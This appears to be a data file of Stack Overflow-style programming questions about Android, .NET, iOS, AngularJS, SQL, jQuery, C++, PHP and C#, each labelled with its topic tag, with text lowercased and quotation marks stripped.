{     if (this.validatemisscall(previousnoofmisscall)) {         smsmanager sms = smsmanager.getdefault();         sms.sendtextmessage(phonenumber  null  message  null  null);     } }  private boolean validatemisscall(int prenoofmisscall) {     int crtnoofmisscall = this.getmisscallcount();     log.d( call      +  in validate +crtnoofmisscall);     if (prenoofmisscall == crtnoofmisscall) {         return false;     }     return true; } }  public class phonestatebroadcastreceiver extends broadcastreceiver{  @override public void onreceive(context context  intent intent) {      telephonymanager telephonymanager = (telephonymanager) context.getsystemservice(context.telephony_service);     telephonymanager.listen(new customphonestatelistener(context)  phonestatelistener.listen_call_state); }  } </code></pre>,android
which .net versions to install on xp   i run several xp computers  and just reinstalled one of them. now  which .net versions would i need to install on this computer      on my developing computer i have these versions of the framework:    <pre><code>compact 2.0 sp2 compact 3.5 2.0 sp2 3.0 sp2 3.5 sp1 </code></pre>   do i need to install all these  or does some include the previous ones,.net
how to set the value to scale property for the resizable image in ios   how to set the value to scale property for the resizable image in ios    <pre><code>- (ibaction)changetoldpi:(id)sender {       myimage= [myimage resizableimagewithcapinsets:uiedgeinsetsmake(50  150 50 150) resizingmode:uiimageresizingmodestretch];     //self.scale=2.0;    ciimage *scaledimg=[[ciimage alloc]initwithimage:myimage];      myimage=[uiimage imagewithciimage:scaledimg scale:2.0 orientation:uiimageorientationleft];       [self-&gt;imageview setimage:myimage];    //[_view addsubview:imageview]; } </code></pre>   i have used this code. but the scale :2.0 is not working. suggest me how to do tis,ios
ng-click not working inside of ng-include  i have a site that links to a component through ng-include:    <pre><code>&lt;div id= tracklist &gt;   &lt;ng-include src=  partials/tracks.html  &gt;   &lt;/ng-include&gt; &lt;/div&gt; </code></pre>   the partial looks like this:   <pre><code>&lt;div ng-controller= tracklistcontroller &gt;   &lt;div ng-repeat= track in tracks &gt;     &lt;a ng-click= $( body ).css( background-color    red )  href= #/tracks/{{ track.id  }}  class= track-link  data-audio-source= {{ track.source }} &gt;{{ track.tracknumber +   -   + track.title  }}&lt;/a&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   it renders fine and works  but my ng-click event does not fire for some reason. note that changing the body background color is just an obvious test to see if it s failing. i ve tried it with my actual function (declared globally when the document loads for now)  and i ve also tested with console.log. none of it works  so clearly ng-click is just not working. any ideas,angularjs
how to differentiate between execution cases when using execvp   when using excevp  how can i differentiate between the cases when the execution of the command fails and when the execution of the command ends with a non zero exit code,c
mysql using and in group by statement instead of commas  what is the difference between using <code>and</code>   <pre><code>select      id  text from     table group by id and text </code></pre>   and using comma <code> </code>   <pre><code>select      id  text from     table group by id  text </code></pre>   it seams to group things together if they have either one of the elements.    ie   <pre><code>a a a b b b b b x z </code></pre>   using <code>and</code> returns   <pre><code>a a x z </code></pre>   using <code> </code> returns   <pre><code>a a a b b b x z </code></pre>   what is the purpose of this and why would one use it,mysql
"jquery hover selector filter  i have tried to find out this on jquery documentation but i haven t sort it out.    what i am trying to achieve is that when i am hover  .box  the  .inside-box  appears but i only want the one inside the box i am hover and not all of them.     this is a simplified version of the code.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    jquery(document).ready(function($) {
         $( .box ).hover(
          $( this ).filter($( .inside-box )).toggle();
         );
     });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.box {
   display:inline-block;
   width:30%;
   margin-left:20px;
   background-color:gray;
   color:white;
  }
 
 .inside-box {
   display:none;
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 
 &lt;div class= box &gt;
    &lt;div class= inside-box &gt;hi&lt;/div&gt;
 &lt;/div&gt;
 
 &lt;div class= box &gt;
    &lt;div class= inside-box &gt;hi&lt;/div&gt;
 &lt;/div&gt;
 
 &lt;div class= box &gt;
    &lt;div class= inside-box &gt;hi&lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
intersect multiple lists in a dictonary using python  this has been bugging me for a whole day. i need to send emails to different person  some emails may have multiple recipients  and some recipient receives multiple emails.    so suppose i have a dictionary like this:   <pre><code>{      email4 : [ msg1    msg4    msg5 ]        email2 : [ msg1    msg3 ]        email3 : [ msg1    msg2    msg4 ]        email1 : [ msg1    msg2    msg3 ] } </code></pre>   and i want to produce something like:   <pre><code>{      email1  email2  email3  email4 : [ msg1 ]       email1  email3 : [ msg2 ]       email1  email2 : [ msg3 ]       email3  email4 : [ msg4 ]       email4 : [ msg5 ] } </code></pre>   i figured it would be a multiple intersection on both keys and values of the dictionary sort of thing  anyway  you get the idea.    quick question  how do i do this in python.    thanks for any help  have a nice day.   <h2>update</h2>  <ol> <li>why use email(s) as keys let s say i m gonna send email to email address 4  instead of sending msg1  msg4  and msg5 in separate emails  i want to combine them into 1 email.</li> <li>tuple keys it s just a demonstration  i of course can use tuples  but how s that gonna solve my problem </li> </ol>   thanks all,python
how to select customer s final balance for all customer in mysql  i have 3 tables.    <pre><code>table_customers - customer_id  name table_orders - order_id  customer_id  order_datetime table_wallet - customer_id  amount  type  // type 1- credit  type 2- debit </code></pre>   i need to get all customers  their total balance  and their last order date and order id. this is my query.   <pre><code>select  c.customer_id   c.name   coalesce( sum(case when type = 2 then -w.amount else w.amount end)  0) as value  coalesce( max( o.order_id  )    0  ) as last_order_id   coalesce( max( date( o.order_datetime ) )    0000-00-00  ) as last_order_date from  table_customers as c  left join  table_wallet as w  on c.customer_id = w.customer_id  left join table_orders as o on w.customer_id = o.customer_id group by c.customer_id order by c.customer_id </code></pre>   everything is coming correct except customer s total value. from result it seems its getting added multiple times.    what is wrong in query  can anyone help me on this,mysql
strange c++ behaviour involving multiple calls to destructor  i m running the following code in dev studio 2010:   <pre><code>struct foo {     foo() {cout &lt;&lt;  foo()  &lt;&lt; endl;}     ~foo() {cout &lt;&lt;  ~foo()  &lt;&lt; endl;}     void operator ()(const int &amp;) const {} };  int bar[] = {0}; for_each(begin(bar)  end(bar)  foo()); </code></pre>   the output is not what i expected  and is the same in both debug and release regardless of the contents of the  bar  array:   <pre><code>foo() ~foo() ~foo() ~foo() </code></pre>   i ve looked at the outputted assembly and i can t for the life of me understand why the compiler is generating extra calls to the destructor. can anyone explain to me exactly what s going on,c++
uiscrollview inside uipageviewcontroller: 1 and 2 finger swipe gestures  <strong>structure</strong>: i have one uipageviewcontroller  currently containing two <code>uiviewcontroller</code> (called e.g. <code>menuvc</code> and <code>imagescrollvc</code>). in the second uiviewcontroller (the <code>imagescrollvc</code>) i have a <code>uiscrollview</code>. this uiscrollview contains multiple images. the user should be able to swipe between the images.    <strong>i want</strong>:    <ul> <li>the <code>uipageviewcontroller</code> should only scroll when the user is using <em>two</em> fingers.<br> ** so the user can swipe between the  menuvc  and the <code>imagescrollvc</code> with two fingers  anytime.</li> <li>the <code>uiscrollview</code> should only scroll when the user is using one finger.<br> ** with the one finger swipe gesture the user can change the images.  </li> </ul>   is this possible     my assumption is to forward a two finger swipe gesture to the underlying <code>uipageviewcontroller</code>  but i don t know how to do this.    <strong>update</strong>:    my viewcontroller structure:    <code>rootviewcontroller</code> is implementing the uipageviewcontroller (exactly like the apple template). <code>menuviewcontroller</code>is the first viewcontroller in the pageviewcontroller and <code>imagescrollviewcontroller</code> the second one with the uiscrollview for the images.    <img src= https://i.stack.imgur.com/t3lcb.png  alt= enter image description here >,ios
clustered indexes physical storage  can a clustered index store the actual physical data in the order of the index,sql
sending anonymous email from mfmailcomposeviewcontroller  this may be a stupid question  but is there any possible way (from a developer s perspective) to send an email from the mfmailcomposeviewcontroller and also change the from: address from the default email account set up on the phone  i want to upload some data from my application  but i don t want it to be linked to the user s email address.,iphone
sql for simple recommender system  each record in the <strong>movies</strong> table has:    <strong>user</strong> - user id<br> <strong>movie</strong> - movie id<br> <strong>rating</strong> - user rating for the movie    user <strong>1</strong> wants to receive recommendations (list of movies) from the group of users <strong>2 3 4 5 6 7</strong>.<br> the recommended movies should not be found among the movies of user 1 and should have an average rating in the group not less than <strong>3</strong>. at the same time  the movies that were watched by less than 3 people from the group can not be recommended.    here s my option  but it does not reflect the last requirement:   <pre><code>select t2.movie from movies t1 inner join movies t2      on t1.user = 1      and t2.user in(2 3 4 5 6 7)      and t2.movie not in ( select movie                            from movies                            where user = 1 ) group by(t2.movie) having avg(t2.rating)&gt;=3 </code></pre>,sql
jquery variable says typeerror: test is undefined  i have <code>var test = $(this).attr( id );</code>. i have declared test as var but i do not understand why i am getting    <blockquote>    typeerror: test is undefined.  </blockquote>   why is this error appearing,jquery
why is microsoft.extensions documented under asp.net  just wondering why microsoft.extensions library e.g. configuration  logging  dependency injection are documented under asp.net core  they also can be used for other types of application.    <a href= https://docs.microsoft.com/en-us/dotnet/api/ view=aspnetcore-2.0  rel= nofollow noreferrer >https://docs.microsoft.com/en-us/dotnet/api/ view=aspnetcore-2.0</a>,.net
how to create symbolic link to a folder using php  i m trying to create a symbolic link to a folder with php (under windows).    my source folder: dir/folders    destination folder: sorted/date/folder    my code so far:    <pre><code>$dir =  dir/ ; $iterator = new filesystemiterator($dir);  foreach($iterator as $key =&gt; $fileinfo){      if($fileinfo-&gt;isdir()){          $ctime = new datetime();         $ctime-&gt;settimestamp($fileinfo-&gt;getmtime());          if(!file_exists( dates/ .$ctime-&gt;format( y-m-d ))){             mkdir( dates/ .$ctime-&gt;format( y-m-d )  077  true);         }else{           // symlink ( string $target   string $link )         symlink( dates/ .$ctime-&gt;format( y-m-d ). / .$fileinfo-&gt;getfilename()  $fileinfo-&gt;getfilename());          }     } } </code></pre>   trowing me this error: warning: symlink(): could not fetch file information(error 3)    maybe somone have a better way of doing this,php
how to get a reference to function inside the function  say i ve a function like this   <pre><code>function a() {  //get a reference  console.log( /*something that will get me reference to function a*/); } </code></pre>   <strong>why </strong>    i m thinking so i can do this...   <pre><code>function car() {    //{reference2myself}.prototype = vechile.prototype;    car.prototype = vechile.prototype; } </code></pre>   <strong>note  i ve to manually set the car reference  i dont want to do that</strong>    also  btw  why isn t prototype set inside the main factory function  i understand it d mean for every instance created off that function all prototype props would be reassigned to the same thing.     what i really wanted to make:   <pre><code>object.prototype.extend = function(clas) {    clas.call(this);    this.prototype = this.prototype || {};    object.setprototypeof(this.prototype  clas.prototype);    this.prototype.constructor = arguments.caller; }  //then i could use it like this  function vechile(){  this.loc=0; }  vechile.prototype.move = function(){   this.loc++; };  function van(){  this.extend(vechile); } van.prototype.pickup = function(){};  var a = new van();     // now a should have pickup method     // move method     // and van prototype should be and object which should have its __proto__ set to car.prototype </code></pre>  <h1>update</h1>   i think i ve finally figure out the code that lets me simulate class inheritance easily. please let me know if i m missing something.   <pre><code>object.prototype.extends = function(clas) {    clas.call(this);    var proto = object.getprototypeof(this);    object.setprototypeof(proto  clas.prototype); }  //then i could use it like this //super class function vechile(){  this.loc=0; }  vechile.prototype.move = function(){   this.loc++; };  //sub class function van(){   this.extends(vechile); }  van.prototype.pickup = function(){};  var a = new van(); </code></pre>,javascript
why getting the following doesnt work in php   assuming i have the url:   <pre><code>http://localhost/mypage.php my.var.is=value  echo $_get[ my.var.is_this ]; </code></pre>   the echo statement above does not appear to print out  value . how do i properly access this parameter,php
invoice template  header <div> alignment issue  i have this template that we have been given to edit  all i want it to insert a top header div with a height of 25px and background colour  which i did  but it won t align correctly at all. i took it outside the wrapper  and increased it s width  but it still aligns slightly right.     i ve added the original template below -    <pre><code>&lt;head&gt;     &lt;title&gt;[document_title]&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  &lt;div id= pdfdoc &gt;   &lt;div id= wrapper &gt; &lt;div id= header &gt;     &lt;div id= logo &gt;&lt;center&gt;&lt;img src= [logofile] &gt;&lt;/center&gt;&lt;/div&gt;     &lt;div class= sender-address &gt;         &lt;div class= sender-address-company &gt;[sender_address_company]&lt;/div&gt;         &lt;div class= sender-address-line1 &gt;[sender_address_line1]&lt;/div&gt;         &lt;div class= sender-address-line2 &gt;[sender_address_line2]&lt;/div&gt;         &lt;div class= sender-address-line3 &gt;[sender_address_line3]&lt;/div&gt;         &lt;div class= sender-address-line4 &gt;[sender_address_line4]&lt;/div&gt;         &lt;div class= sender-address-postcode sender-address-line4 &gt;  &lt;/div&gt;         &lt;div class= sender-address-postcode &gt;[sender_address_postcode]&lt;/div&gt;     &lt;/div&gt;     &lt;div id= header-info &gt;         &lt;div id= vat-registration-info &gt;[vatnuminfo]&lt;/div&gt;         &lt;div class= sender-address-phone &gt;t: [sender_address_phone]&lt;/div&gt;         &lt;div class= sender-address-email &gt;e: &lt;a href= mailto:[sender_address_email] &gt;[sender_address_email]&lt;/a&gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cl  id= logo_clearer &gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   css    <pre><code>html {width:793px;} * html body{ font-family:[font]; color:[fontcolor]; } body {  font-size:[fontsize]px; }  #wrapper { margin:0  40px 0 40px; } #pdfdoc {  font-size:1.1em /*increase font size for everthing from user-set body pt size       */ } /* header */ #pdfdoc #header{  margin-top:2em; border-bottom:1px solid #e5e5e5; padding-bottom:24px; margin-bottom:48px; position:relative; }  #logo{ float:left; margin-right:24px; margin-left:24px; text-align:center; vertical-align: middle;  }  .sender-address { font-size:1.1em; float:left; } .sender-address-company{ font-weight:bold;font-size:1.1em;} .sender-address-line4{ float:left;} .sender-address-potcode{ float:left;} #header-info{ float:right; text-align:right; position:absolute; bottom:0; right:0; margin-bottom:24px; } #header-info div{ color:#808080; } #pdfdoc #header div a:link{ text-decoration:none; color:#808080;}  </code></pre>   how can i get the added div centrally aligned in template     <a href= http://jsfiddle.net/5rhfq/16/  rel= nofollow >http://jsfiddle.net/5rhfq/16/</a> - looks fine on here but on here - <a href= https://app.kashflow.com/v2/documents/invoice/89bafb30-cf7c-4a14-98c3-37bd6d8c14cc media=0&amp;theme=396345  rel= nofollow >https://app.kashflow.com/v2/documents/invoice/89bafb30-cf7c-4a14-98c3-37bd6d8c14cc media=0&amp;theme=396345</a> it doesn t.,css
finding schema differences  i want to compare to db schema where the tables and columns are almost identical.   <pre><code>mysql&gt; select a.table_schema  a.table_name from information_schema.tables as a left join information_schema.tables as b on a.table_name = b.table_name where a.table_schema =  india  and b.table_schema =  china  and b.table_name is null; </code></pre>   i expected that the above query would return the tables those are present in india db but are not there in china db. but this does not seem to be working. apart from tables differences i do also need to find the columns those may be different in 2 db s.    i do not want to use applications like navicat. i need a query or unix command.,mysql
how can i add viewportchecker jquery  can anyone help me to add viewportchecker on this jquery    <strong>my goal is to add an animation on 4 div class c1  c2  c3  c4</strong> when i scroll down each div class will have their own animation.   <pre><code>jquery.noconflict(); jquery(document).ready(function(){     var i = 0;     var posts = jquery( .wk-effect ).children();         function animatecircle() {         if (i % 2 === 0) {             jquery(posts[i]).addclass( visible animated bounceinup );         } else {             jquery(posts[i]).addclass( visible animated fadeindown );         }         i++;         if (i &lt;= posts.length) {             startanimation();         }     }         function startanimation() {         settimeout(function () {             animatecircle();}  1000);     }         posts.addclass( hidden );     animatecircle(posts); }); </code></pre>,jquery
how to retrieve number of items being returned   i have the following code:    tweet.cs   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; namespace assign3_twitter {     public class tweet     {         public string hashtag { get; private set; }         public string message { get; private set; }         public string sender { get; private set; }         public string recipient { get; private set; }         public tweet (string sender  string message  string hashtag  string reciepient)         {             this.sender = sender;             this.hashtag = hashtag;             this.message = message;             this.recipient = reciepient;         }          public override string tostring ()         {             return string.format ( ==========\ntweet\n==========\nfrom: {2} to: {3} message: {1} hashtag: {0}   hashtag  message  sender  recipient);         }     } } </code></pre>   tweetmanager.cs   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; namespace assign3_twitter {     public class tweetmanager     {         private list&lt;tweet&gt; tweets = new list&lt;tweet&gt;();           public tweetmanager()         {             tweet tw1 = new tweet ( austen    hello world!    #hey    twitter );             tweets.add (tw1);             tweet tw2 = new tweet ( test1    hello world! x2    #howdy    tweeter );             tweets.add (tw2);             tweet tw3 = new tweet ( test2    hello world! x3    #hey    twitter );             tweets.add (tw3);             tweet tw4 = new tweet ( test3    hello world! x4    #howdy    tweeter );             tweets.add (tw4);             tweet tw5 = new tweet ( test4    hey there!    #hey    twitter );             tweets.add (tw5);             tweet tw6 = new tweet ( test5    woah this is cool!    #howdy    tweeter );             tweets.add (tw6);             tweet tw7 = new tweet( test 6    neat!    #hey    austen );             tweets.add(tw7);          }          public void seealltweeters()         {              console.writeline( ==================================\nviewing all tweets \n==================================\n );              foreach (tweet tweets in tweets)             {                 console.writeline(tweets);             }         }          public void seehashtag(string hashtag)         {             console.writeline( ==================================\nviewing all tweets containing the hashtag:   + hashtag +  \n==================================\n );             foreach (tweet tweets in tweets)             {                 if (tweets.hashtag == hashtag)                 {                     console.writeline(tweets);                 }             }         } </code></pre>   i want to achieve something similar to the the following in the seehashtag() method   <pre><code>console.writeline( ==================================\nviewing x number of tweets containing the hashtag:   + hashtag +  \n==================================\n ); </code></pre>   where it counts the number of things being returned. i m not too sure how to go about doing this!    any help is greatly appreciated  thanks :),c#
rails design of an online newspaper -- controllers  i have started a ruby on rails 3 project to make an online version of newspaper. the front page has the news headlines  sports headlines and life headlines. it has all the headlines for the different sections of the site.     all the stories are stored in one table and photos in another table. it is a very simple set up. i am trying be dry but i can t seem to avoid it. on the index action page i have to look up sports stories and on the sports action page i have to look up sports.     my question is should i make a different controller for every category  or have a main controller with categories as actions  ( which is what i am doing now  ),ruby-on-rails
final static variables in java interface  i understand that variables are static since interface cannot be instantiated and interface variables is not specific to object since it is static.    we know that static vaiables or methods cannot be instantiated by object.we have to call them by class name.    i have been digging into interfaces to understand it better.     when class extends interface  variables in interface accessible without using interface name. how is it working     can anyone explain it further for my understanding,java
allow two instances of application to run  i understand how to force a single instance of an application using a mutex and this is what i use.    several of my users have asked me to allow multiple instances to run.  i don t want to remove the control code as i can see it as a recipe for disaster since multiple instances could be writing to the same files  log and so on.    i perhaps could handle things if the number of instances is limited to two.  my current idea is to allow the first one to run as the active one and a second in some form of read-only mode.    so how would i control the number of instances to no more than two     thanks,c#
filtering inside the list  firstly i fill in the list with some objects with different propetries and afterwards i d like to remove all inappropriate objects from this list. for sure  it throws an exception  saying that the list has been modified and it leads to problems with enumeration. how to manage this and remove all inappropriate objects without using another list  for example  listfiltred  where i can add all appropriate objects        <pre><code>mylist.add(new houses() { number =  04  }); mylist.add(new houses() { number =  01  }); mylist.add(new houses() { number =  02  }); mylist.add(new houses() { number =  04  }); mylist.add(new houses() { number =  04  }); foreach (var item in mylist) {     if (item.number !=  04 )     {         mylist.remove(item);     } } </code></pre>,c#
want to have a button in my preferences (android)  i have a seperate preference xml called prefs.xml  here is its code:    <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;preferencescreen xmlns:android= http://schemas.android.com/apk/res/android  &gt;      &lt;preference          android:key= clear          android:summary= press if you want to clear your data          android:title= clear data   /&gt;      &lt;checkboxpreference         android:defaultvalue= true          android:key= tut          android:summary= check if you want to see the tutorial when the app starts          android:title= tutorial show/hide  /&gt;  &lt;/preferencescreen&gt; </code></pre>   edit: i thought that preference thing was going to be the button but i dont really know what it does or how to use it    what i am trying to do is be able to press a button or something that when its pressed  do something else  i dont know where to put the code or what i should do  my prefs.java file s code is here:   <pre><code>package com.mittereder.rockpaper;  import android.os.bundle; import android.preference.preferenceactivity;  public class prefs extends preferenceactivity{      @override     protected void oncreate(bundle savedinstancestate) {         // todo auto-generated method stub         super.oncreate(savedinstancestate);         addpreferencesfromresource(r.xml.prefs);     }  } </code></pre>   if that helps at all,android
problems with large dll   are there any problems associated with using and deploying large dlls  i m using a couple of dlls that s 30mb and 17mb in size.,.net
error:  the name printform1 does not exist in the current context  why is this   hi i got this code from msdn. i can t figure out the problem  i hope you can help. the error is located with the two lines that have the words printform1 in. my form is actually called form1  so i cannot see the problem.   <pre><code>  [system.runtime.interopservices.dllimport( gdi32.dll )]     public static extern long bitblt(intptr hdcdest  int nxdest  int nydest  int nwidth  int nheight  intptr hdcsrc  int nxsrc  int nysrc  int dwrop);     private bitmap memoryimage;     private void capturescreen()     {         graphics mygraphics = this.creategraphics();         size s = this.size;         memoryimage = new bitmap(s.width  s.height  mygraphics);         graphics memorygraphics = graphics.fromimage(memoryimage);         intptr dc1 = mygraphics.gethdc();         intptr dc2 = memorygraphics.gethdc();         bitblt(dc2  0  0  this.clientrectangle.width  this.clientrectangle.height  dc1  0  0  13369376);         mygraphics.releasehdc(dc1);         memorygraphics.releasehdc(dc2);     }      private void printdocument1_printpage(system.object sender  system.drawing.printing.printpageeventargs e)     {         e.graphics.drawimage(memoryimage  0  0);     }      private void btncreate_click(object sender  eventargs e)     {         btncustcont.visible = false;          btnprintcost.visible = false;         btnpdfcont.visible = false;         btnpdfbrochurecont.visible = false;         btnpapercont.visible = false;         btnduplicatecont.visible = false;         btntypecont.visible = false;         btncalccost.visible = false;         btnprintcost.visible = false;          application.doevents();         capturescreen();         printform1.printersettings.defaultpagesettings.landscape = true;         printform1.print();          btncustcont.visible = true;          btnprintcost.visible = true;         btnpdfcont.visible = true;         btnpdfbrochurecont.visible = true;         btnpapercont.visible = true;         btnduplicatecont.visible = true;         btntypecont.visible = true;         btncalccost.visible = true;         btnprintcost.visible = true;      } </code></pre>,c#
code a page view counter using cookies  php  etc  i found this code from a youtube tutorial on the same subject. can t seem to get it to work at all. the error i m getting now is this    <blockquote>    notice: trying to get property of non-object in c:\xampp\htdocs\test.php on line 13  </blockquote>   anyone know what s wrong with this code  i m <em>very</em> new to php. i just about got my head around html and css with a dash of js  so spare me if it s something very simple.   <pre><code>&lt; php  $conn = mysqli_connect( localhost   root     `unique_visitors`); $date = date( y-m-d ); $userip = $_server[ remote_addr ]; $query =  select * from `unique_visitors` where `date`= $date  ; $result = mysqli_query($conn $query);  if(!isset($_cookie[ visitor ])){ $time = strtotime( next day 00:00 ); setcookie( visitor   hey  $time); } if($result-&gt;num_rows==0){ $insertquery =  insert into `unique_visitors` (`date` `ip`) values ( $date   $userip ) ;  mysqli_query($conn $insertquery);  }else{ $row=$result-&gt;fetch_assoc();    if(!isset($_cookie[ visitor ])){   $newip =  $row[ip] ;         if(!preg_match( / .$userip. /  $newip)){             $newip.=   $userip ;         }         $updatequery =  update `unique_visitors` set `ip` =  $newip    `views`=`views`+1 where `date`= $date  ;          mysqli_query($conn $updatequery);   }  } </code></pre>,php
unable to reference private static member variable: compiler error  i m new to c++  and i m trying to use a static member variable as a  dictionary  in a translation program.     i have two files  alphabet.h  which looks like this:   <pre><code>#ifndef alphabet_h #define alphabet_h #include &lt;map&gt; #include &lt;vector&gt;  class alphabet {   public:     typedef std::vector&lt;std::string&gt; lettertype;     typedef std::map&lt;std::string  lettertype&gt; alphabettype;     alphabettype getalphabet();   private:     static alphabettype m_alphabet; };  #endif </code></pre>   and alphabet.cpp  which looks like this:   <pre><code>#include  alphabet.h   static alphabet::alphabettype m_alphabet = {{ ὁ  { o }}};  alphabet::alphabettype alphabet::getalphabet() {     return alphabet::m_alphabet; } </code></pre>   for some reason when i attempt to compile  i get an error from g++.    <em>in function <code>alphabet::getalphabet[abi:cxx11]() : alphabet.cpp:6: undefined reference to</code>alphabet::m_alphabet[abi:cxx11]  collect2: error: ld returned 1 exit status</em>    i would appreciate any insight into what i m doing wrong.,c++
how to correctly copy /clone a structure  and should i use a class instead   let say i have that   <pre><code>structure mystruct     public mypoint as point     public mybool as boolean end structure </code></pre>   how to i make a copy / clone of that structure     i fixed that issue now  example of the code i was using:   <pre><code>    dim mystruct(1) as mystruct      mystruct(0).mypoint = new point(10  10)     mystruct(0).mybool = true      dim mycopy(1) as mystruct     mycopy = mystruct     mycopy(0).mybool = false     mycopy(0).mypoint = new point(11  11) </code></pre>   with that  both variable was changed    i had to do    <pre><code>    mycopy = ctype(mystruct.clone  mystruct()) </code></pre>   and another question  if that structure is used  let say  10 000 times  should i created a class instead,.net
determining the correct .net project code used to create the production application.  this may sound crazy but i have many copies of a .net project s source code in source control but am trying to figure out which copy of the source code in the version control system is the correct code that was used to build the currently deployed production application s projects. the application was deployed several years ago and we have several versions of the source code but don t know which version in source control matches the actual production s code. i have read about a tool called refelector but was wondering if there was a more simple way to go. can anyone help,.net
how to check if strings in an array contain strings from another array  <strong>main question :</strong> <br> ok guys  here is the situation  let s consider 2 string arrays :   <pre><code>string foo = {  roses are #ff0000     violets are #0000ff    paint it #000000 } string bar = {  guns    roses    violets } </code></pre>   what is the  fewest code lines  way to retrieve strings in foo containing strings in bar   <br> (i.e  in this case  the 2 first elements of foo)    <em>of course i want to avoid doing all the logic  by hand  as i am sure linq is more efficient with the intersect feature  but i do not know how to use it to perform this precise task.</em>    <strong>tiebreakers :</strong> <br> <strong>1 -</strong> what if foo contains strings that contain more that one element of bar    <pre><code>string foo = {  roses are #ff0000     violets are #0000ff    paint it #000000 } string bar = {  roses    violets    are } </code></pre>   and i want to avoid duplicates       <strong>2 -</strong> what if i have 2  bar  arrays that i want to check against one foo array  <br> is it more efficient to merge bar1 and bar2 or to perform the filter with bar1 first and then with bar2       <br> thanx and have fun answering :-),c#
angularjs orderby filter not working as expected  i m trying to show an array (<code>$scope.stored_questions_clusters</code>) sorted in descending order by the position of each element  the problem is that i don t get the desired result.    in this example i do a <code>ng-repeat =  question cluster stored in clusters questions | orderby  - question_cluster.position  </code>  at each iteration i create a panel with bootstrap where i print the position  so what i would expect is a list sorted by their position  but i don t get this...    here is the code i use:   <pre><code>&lt;div style= margin-top:30px;  ng-show= mostrarpreguntas==true &gt;   &lt;div ng-repeat= question_cluster in stored_questions_clusters |  orderby: -question_cluster.position   class= col-xs-8 col-xs-offset-2 &gt;     &lt;div class= panel panel-default &gt;       &lt;div class= panel-heading &gt;         &lt;div class= row &gt;           &lt;div class= col-xs-11 &gt;             &lt;h3&gt;{{question_cluster.position}}.- {{question_cluster.title}}&lt;/h3&gt;               &lt;/div&gt;                  .                  .                  . </code></pre>   and this is the result:    <a href= https://i.stack.imgur.com/fruif.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fruif.png  alt= sort_by_error ></a>    this is the console.log of each element:    <a href= https://i.stack.imgur.com/pdmev.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pdmev.png  alt= enter image description here ></a>,angularjs
does the ios simulator have an acaccount store by default   does the ios simulator have an acaccount store by default and can it be manipulated for testing the acaccountstore and acaccount apis,ios
hide/unhide a table row with text input depending on the selected dropdown option using javascript  please help. if i select business/corporate from the dropdown  the table row is visible (which is correct)  but when i reselect residential/consumer  the row does not hide. all i want is to be able to show the row if business/corporate is selected (so that one can enter the business name from the input text field) and hide when not selected. thanks. :)    my js:   <pre><code>&lt;script language= javascript &gt; function toggle(target)      {          if (target!=  ) {          obj=document.getelementbyid(target);          obj.style.display=( (obj.style.display== none )      :  none );          }      } &lt;/script&gt; </code></pre>   my select option:   <pre><code>&lt;select name= xaccttype  onchange= toggle(this.value) &gt; &lt;option value= residential/consumer &gt;residential/consumer &lt;option value= business/corporate &gt;business/corporate &lt;/select&gt; </code></pre>   my table row:   <pre><code>&lt;tr id= business/corporate  style= display:none &gt;&lt;td width= 200  align= right &gt;&lt;b&gt;business name:&lt;/b&gt;&lt;/td&gt;&lt;td width= 650 &gt;&lt;input type= text  size= 35  name= xbusinessname &gt;&lt;/td&gt;&lt;/tr&gt; </code></pre>,javascript
select and count in the same query on two tables  i ve got these two tables:    <code>___subscriptions</code>   <pre><code>|--------|--------------------|--------------| | sub_id | sub_hotelid        | sub_planname | |--------|--------------------|--------------| | 1      | cus_ajgg401e9a840d | free         | |--------|--------------------|--------------| </code></pre>   <code>___rooms</code>   <pre><code>|--------|-------------------| | roo_id | roo_hotelid       | |--------|-------------------| | 1      |cus_ajgg401e9a840d | | 2      |cus_ajgg401e9a840d | | 3      |cus_ajgg401e9a840d | | 4      |cus_ajgg401e9a840d | |--------|-------------------| </code></pre>   i d like to select the <code>sub_planname</code> and count the rooms with the same hotelid.    so i tried:   <pre><code>select count(*) as  roo_count   sub_planname from ___rooms join ___subscriptions on ___subscriptions.sub_hotelid = ___rooms.roo_hotelid where roo_hotelid =  cus_ajgg401e9a840d  </code></pre>   and   <pre><code>select      sub_planname       (         select count(roo_id)          from ___rooms         where ___rooms.roo_hotelid = ___subscriptions.sub_hotelid     ) as roo_count  from  ___subscriptions where sub_hotelid =  cus_ajgg401e9a840d  </code></pre>   but i get empty datas.    could you please help      thanks.,sql
align justify in class def not working  i have what i am sure is a really obvious fix for a really simple problem  but i can t seem to see it. i am trying to define a <code>class</code> in my inline css that will generally be employed in <code>&lt;span class= padl18 &gt;...&lt;/span&gt;</code> tags to indent text by 18 as well a <code>text-align:justify</code> with:   <pre><code>.padl18{padding-left:18; text-align:justify;} </code></pre>   the indent works fine but the resulting text enclosed in the <code>span</code> tags aligns left rather than justifies.    another one of my <code>class</code> definitions:   <pre><code>.pvi{margin-left:1em; margin-right:1em; text-align:justify;} </code></pre>   does align justify  so i am not sure what the hitch might be  if anyone can help muchos gracias.,html
why read() in the console class is returning an integer   i have a simple code as follows   <pre><code>   int n=console.read();    console.writeline(n); </code></pre>   when i gave 100 as input it is printing only 49 which is ascii decimal for 1 and then what about the remaining zeros. i also found in the msdn website as  the next character from the input stream  or negative one (-1) if there are currently no more characters to be read.  and read() has a integer return type. actually is it returning the number of characters read   then what is the use of it,c#
